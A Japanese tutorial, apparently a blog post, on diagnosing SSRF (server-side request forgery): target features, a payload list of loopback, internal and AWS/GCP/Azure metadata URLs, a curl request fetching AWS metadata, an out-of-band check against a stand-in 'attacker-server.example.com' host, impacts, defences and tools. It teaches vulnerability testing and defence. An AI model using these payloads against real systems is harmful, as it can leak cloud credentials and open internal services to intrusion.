Hello there, ('ω')ノ
🎯 1. SSRFとは?
Server-Side Request Forgery(SSRF)は、アプリケーションのリクエスト送信機能を攻撃者が悪用し、 サーバ内部から任意のURLへアクセスさせる脆弱性です。
SSRFにより、本来アクセスできない内部システム・メタデータ・クラウド情報などを取得できる可能性があります。
🧠 攻撃のイメージ
アプリが次のように外部URLから画像を取得して表示する機能があるとします:
POST /fetch-image { "url": "http://example.com/image.jpg" }
ここに攻撃者が次のようなURLを指定すると:
"url": "http://169.254.169.254/latest/meta-data/"
→ サーバがAWSインスタンスのメタ情報を読み出してしまう!
🧭 2. チェック対象のページ・機能
機能・ページ | 概要 | チェックポイント |
---|---|---|
📷 画像取得・サムネイル生成 | URL指定で外部画像を表示 | URL指定の自由度が高いか |
📝 Webページプレビュー機能 | OGPなどのURL先取得 | 内部ホストにも接続できるか |
📤 ファイルURLの取得 | ファイルの取り込み・変換 | 内部ファイルやIPが指定可能か |
🔗 任意のURL入力機能 | webhook / ping / URL呼び出し | 受信先の制限があるかチェック |
🧪 3. 基本テストペイロード(ターゲットURL)
🧱 内部IP(ローカルネットワーク)
ターゲット | URL |
---|---|
自身のループバック | http://127.0.0.1 / http://localhost |
内部ネットワーク | http://192.168.0.1 / http://10.0.0.1 |
Docker / K8s環境 | http://172.17.0.1 など |
☁️ クラウドメタデータ
プラットフォーム | URL |
---|---|
AWS | http://169.254.169.254/latest/meta-data/ |
GCP | http://metadata.google.internal/ |
Azure | http://169.254.169.254/metadata/instance?api-version=2021-01-01 |
🧰 4. SSRF診断の方法(手順)
- 対象のURL入力欄 or APIパラメータを特定
- 上記の内部/クラウド系URLを入力して送信
- 次のような反応が返るか観察:
結果 | 解釈 |
---|---|
正常にHTMLやJSONが返る | SSRF成功の可能性大 |
タイムアウトや遅延 | 内部アクセスに反応している可能性 |
DNSログや外部サーバアクセス | Out-of-band型 SSRF が成立している可能性あり |
🌐 5. Out-of-band(OOB)SSRF診断
サーバが直接攻撃者のサーバにアクセスしたかを検出する方法です。
例:
"url": "http://attacker-server.example.com/log.txt"
→ 攻撃者のサーバログにアクセス記録があれば SSRF 成立!
📦 Burp Collaboratorなどのサービスを使えば自動検知可能です。
🧾 6. 実行例(curl)
curl -X POST https://example.com/api/fetch \ -H "Content-Type: application/json" \ -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
⚠️ 7. SSRFによる実害の一例
攻撃結果 | 内容 |
---|---|
内部ポートスキャン | http://127.0.0.1:8080 などを順に指定して調査 |
メタデータ流出 | クラウドAPIキー、インスタンスIDなど |
認証バイパス | 社内限定の管理画面へアクセスできてしまう |
SSRF + RCE | SSRFが別サービス経由でコマンド実行につながる場合も(例:Redis) |
🛡️ 8. サーバ側での防止策(参考)
対策 | 内容 |
---|---|
URLフィルタリング | localhost や 169.254.*.* などをブロック |
ホワイトリスト方式 | 接続を許可するドメインを明示的に制限 |
IPアドレス解決後の検査 | リダイレクトやDNSポイズニング対策として重要 |
接続ライブラリ制限 | 危険なAPI(file_get_contents() など)を使わないようにする |
🧰 9. 補助ツール
- Burp Suite + Collaborator(OOB型SSRFの確認)
- SSRFmap(自動診断ツール、AWS/GCP向け)
- curl / Postman(手動リクエスト作成)
- dnslog.cn / interactsh(外部アクセス検知用)
🔎 SSRF兆候となるキーワード・ヒント
- 入力項目名が
url
,link
,target
,fetch
など - エラーメッセージに
connection refused
,timeout
,unreachable
など - 結果が即時ではなく数秒遅れて返る → 遅延は内部接続を試みた兆候
Best regards, ('ω')ノ